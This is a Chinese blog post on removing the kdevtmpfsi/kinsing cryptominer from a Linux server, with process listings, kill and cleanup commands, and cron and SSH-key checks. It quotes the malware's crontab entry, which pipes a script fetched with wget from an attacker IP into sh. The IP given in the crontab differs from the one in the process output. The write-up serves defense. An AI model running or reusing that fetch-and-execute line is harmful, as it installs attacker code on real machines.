kdevtmpfsi病毒进程（挖矿）导致CPU过高

查看占CPU任务名

$ top -H

top - 19:47:30 up 72 days,  4:01,  1 user,  load average: 3.46, 3.17, 3.12
Threads: 357 total,   5 running, 352 sleeping,   0 stopped,   0 zombie
%Cpu(s): 98.7 us,  1.3 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  1882016 total,    69388 free,   579844 used,  1232784 buff/cache
KiB Swap:  2097148 total,  2002172 free,    94976 used.  1106516 avail Mem 

  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND                                                                               
24665 zd        20   0  710928 265496    672 R 98.0 14.1   3088:23 kdevtmpfsi                                                                            
 4332 wsx       20   0  162392   2536   1600 R  0.3  0.1   0:00.02 top                                                                                   
18025 root      20   0  744796  14724   2060 S  0.3  0.8   7:15.89 barad_agent                                                                           
    1 root      20   0   43744   3492   2252 S  0.0  0.2  14:14.25 systemd                                                                               
    2 root      20   0       0      0      0 S  0.0  0.0   0:01.60 kthreadd                                                                              
    4 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 kworker/0:0H                                                                          
    6 root      20   0       0      0      0 S  0.0  0.0   2:20.00 ksoftirqd/0                                                                           
    7 root      rt   0       0      0      0 S  0.0  0.0   0:00.00 migration/0                                                                           
    8 root      20   0       0      0      0 S  0.0  0.0   0:00.00 rcu_bh                                                                                
    9 root      20   0       0      0      0 R  0.0  0.0  11:28.07 rcu_sched                                                                             
   10 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 lru-add-drain                                                                         
   11 root      rt   0       0      0      0 S  0.0  0.0   0:21.41 watchdog/0                                                                            
   13 root      20   0       0      0      0 S  0.0  0.0   0:00.00 kdevtmpfs                                                                             
   14 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 netns                                                                                 
   15 root      20   0       0      0      0 S  0.0  0.0   0:01.40 khungtaskd                                                                            
   16 root       0 -20       0      0      0 S  0.0  0.0   0:00.03 writeback                                                                             
   17 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 kintegrityd                                                                           
   18 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 bioset                                                                                
   19 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 bioset                                                                                
   20 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 bioset                                                                                
   21 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 kblockd                                                                               
   22 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 md                                                                                    
   23 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 edac-poller                                                                           
   24 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 watchdogd                                                                             
   30 root      20   0       0      0      0 S  0.0  0.0   0:26.73 kswapd0                                                                               
   31 root      25   5       0      0      0 S  0.0  0.0   0:00.00 ksmd                                                                                  
   32 root      39  19       0      0      0 S  0.0  0.0   0:07.05 khugepaged                                                                            
   33 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 crypto

查看相应的病毒文件
一般病毒都都有守护进程，你杀掉会重新启动，必须删除文件的同时，去掉可能存在的定时任务

[wsx@VM-0-5-centos ~]$ ps -ef | grep kinsing
wsx       4572  2594  0 19:48 pts/0    00:00:00 grep --color=auto kinsing
zd       23244     1  0 8月01 ?       00:03:42 /tmp/kinsing
[wsx@VM-0-5-centos ~]$ ps -ef | grep kdevtmpfsi
wsx       4574  2594  0 19:49 pts/0    00:00:00 grep --color=auto kdevtmpfsi
zd       25128     1 97 8月01 ?       37-09:55:38 /tmp/kdevtmpfsi

查看指定用户的定时任务：

$ sudo crontab -e -u zd
* * * * * wget -q -O - http://91.3.146.118/h2.sh | sh > /dev/null 2>&1

我们可以看到有个定时任务，就是一个sh脚本
清除
把这个定时任务删除，同时杀掉上面的进程

[wsx@VM-0-5-centos ~]$ sudo kill -9 25128
[wsx@VM-0-5-centos ~]$ sudo kill -9 23244
[wsx@VM-0-5-centos ~]$ sudo rm /tmp/kinsing
[wsx@VM-0-5-centos ~]$ sudo rm /tmp/kdevtmpfsi

查看top，看有什么遗漏没有。发现还有大量未知的shell运行，进行批量删除：

[zd@VM-0-5-centos spool]$ ps -ef | grep 'http://195'
zd         729   726  0 19:25 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd         731   729  0 19:25 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd         890   889  0 19:26 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd         893   890  0 19:26 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        1052  1051  0 19:27 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        1054  1052  0 19:27 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        1216  1214  0 19:28 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        1218  1216  0 19:28 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        1367  1366  0 19:29 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        1370  1367  0 19:29 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        1528  1523  0 19:30 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        1531  1528  0 19:30 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        1689  1688  0 19:31 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        1692  1689  0 19:31 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        1843  1842  0 19:32 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        1845  1843  0 19:32 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        2001  2000  0 19:33 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        2004  2001  0 19:33 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        2158  2156  0 19:34 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        2159  2158  0 19:34 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        2320  2318  0 19:35 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        2324  2320  0 19:35 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        2469  2468  0 19:36 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        2472  2469  0 19:36 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        2686  2685  0 19:37 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        2688  2686  0 19:37 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        2830  2829  0 19:38 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        2832  2830  0 19:38 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        2992  2991  0 19:39 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        2994  2992  0 19:39 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        3151  3148  0 19:40 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        3154  3151  0 19:40 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        3302  3301  0 19:41 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        3304  3302  0 19:41 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        3473  3472  0 19:42 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        3475  3473  0 19:42 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        3631  3629  0 19:43 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        3633  3631  0 19:43 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        3785  3784  0 19:44 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        3787  3785  0 19:44 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        3948  3947  0 19:45 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        3950  3948  0 19:45 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        4107  4105  0 19:46 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        4109  4107  0 19:46 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        4263  4262  0 19:47 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        4265  4263  0 19:47 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        4427  4426  0 19:48 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        4430  4427  0 19:48 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        4577  4576  0 19:49 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        4579  4577  0 19:49 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        4737  4736  0 19:50 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        4740  4737  0 19:50 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        4896  4894  0 19:51 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd        4899  4896  0 19:51 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd        7879  7445  0 20:09 pts/0    00:00:00 grep --color=auto http://195
[zd@VM-0-5-centos spool]$ ps -ef | grep 'http://195' | grep -v grep | awk '{print $2}' | xargs kill -9

检查以下是否有计划任务

/etc/cron.d/、/etc/cron.daily/、/etc/cron.deny、/etc/cron.hourly/、/etc/cron.monthly/、/etc/crontab、/etc/cron.weekly/、/var/spool/cron/、/var/spool/cron/crontabs/root、/usr/local/bin/dns、/etc/hosts、/etc/sysupdate、/tmp/xms、/var/spool/cron/root、/etc/cron.d/root、/var/spool/cron/crontabs/root

检查是否有可疑公钥

cat ~/.ssh/authorized_keys

人面猴
序言：七十年代末，一起剥皮案震惊了整个滨河市，随后出现的几起案子，更是在滨河造成了极大的恐慌，老刑警刘岩，带你破解...
沈念sama阅读 203,547评论 6赞 477
死咒
序言：滨河连续发生了三起死亡事件，死亡现场离奇诡异，居然都是意外死亡，警方通过查阅死者的电脑和手机，发现死者居然都...
沈念sama阅读 85,399评论 2赞 381
救了他两次的神仙让他今天三更去死
文/潘晓璐我一进店门，熙熙楼的掌柜王于贵愁眉苦脸地迎上来，“玉大人，你说我怎么就摊上这事。” “怎么了？”我有些...
开封第一讲书人阅读 150,428评论 0赞 337
道士缉凶录：失踪的卖姜人
文/不坏的土叔我叫张陵，是天一观的道长。经常有香客问我，道长，这世上最难降的妖魔是什么？我笑而不...
开封第一讲书人阅读 54,599评论 1赞 274
港岛之恋（遗憾婚礼）
正文为了忘掉前任，我火速办了婚礼，结果婚礼上，老公的妹妹穿的比我还像新娘。我一直安慰自己，他们只是感情好，可当我...
茶点故事阅读 63,612评论 5赞 365
恶毒庶女顶嫁案：这布局不是一般人想出来的
文/花漫我一把揭开白布。她就那样静静地躺着，像睡着了一般。火红的嫁衣衬着肌肤如雪。梳的纹丝不乱的头发上，一...
开封第一讲书人阅读 48,577评论 1赞 281
城市分裂传说
那天，我揣着相机与录音，去河边找鬼。笑死，一个胖子当着我的面吹牛，可吹牛的内容都是我干的。我是一名探鬼主播，决...
沈念sama阅读 37,941评论 3赞 395
双鸳鸯连环套：你想象不到人心有多黑
文/苍兰香墨我猛地睁开眼，长吁一口气：“原来是场噩梦啊……” “哼！你这毒妇竟也来了？” 一声冷哼从身侧响起，我...
开封第一讲书人阅读 36,603评论 0赞 258
万荣杀人案实录
序言：老挝万荣一对情侣失踪，失踪者是张志新（化名）和其女友刘颖，没想到半个月后，有当地人在树林里发现了一具尸体，经...
沈念sama阅读 40,852评论 1赞 297
护林员之死
正文独居荒郊野岭守林人离奇死亡，尸身上长有42处带血的脓包…… 初始之章·张勋以下内容为张勋视角年9月15日...
茶点故事阅读 35,605评论 2赞 321
白月光启示录
正文我和宋清朗相恋三年，在试婚纱的时候发现自己被绿了。大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
茶点故事阅读 37,693评论 1赞 329
活死人
序言：一个原本活蹦乱跳的男人离奇死亡，死状恐怖，灵堂内的尸体忽然破棺而出，到底是诈尸还是另有隐情，我是刑警宁泽，带...
沈念sama阅读 33,375评论 4赞 318
日本核电站爆炸内幕
正文年R本政府宣布，位于F岛的核电站，受9级特大地震影响，放射性物质发生泄漏。R本人自食恶果不足惜，却给世界环境...
茶点故事阅读 38,955评论 3赞 307
男人毒药：我在死后第九天来索命
文/蒙蒙一、第九天我趴在偏房一处隐蔽的房顶上张望。院中可真热闹，春花似锦、人声如沸。这庄子的主人今日做“春日...
开封第一讲书人阅读 29,936评论 0赞 19
一桩弑父案，背后竟有这般阴谋
文/苍兰香墨我抬头看了看天上的太阳。三九已至，却和暖如春，着一层夹袄步出监牢的瞬间，已是汗流浃背。一阵脚步声响...
开封第一讲书人阅读 31,172评论 1赞 259
情欲美人皮
我被黑心中介骗来泰国打工，没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留，地道东北人。一个月前我还...
沈念sama阅读 43,970评论 2赞 349
代替公主和亲
正文我出身青楼，却偏偏与公主长得像，于是被迫代替她去往敌国和亲。传闻我的和亲对象是个残疾皇子，可洞房花烛夜当晚...
茶点故事阅读 42,414评论 2赞 342

kdevtmpfsi病毒进程（挖矿）导致CPU过高

推荐阅读更多精彩内容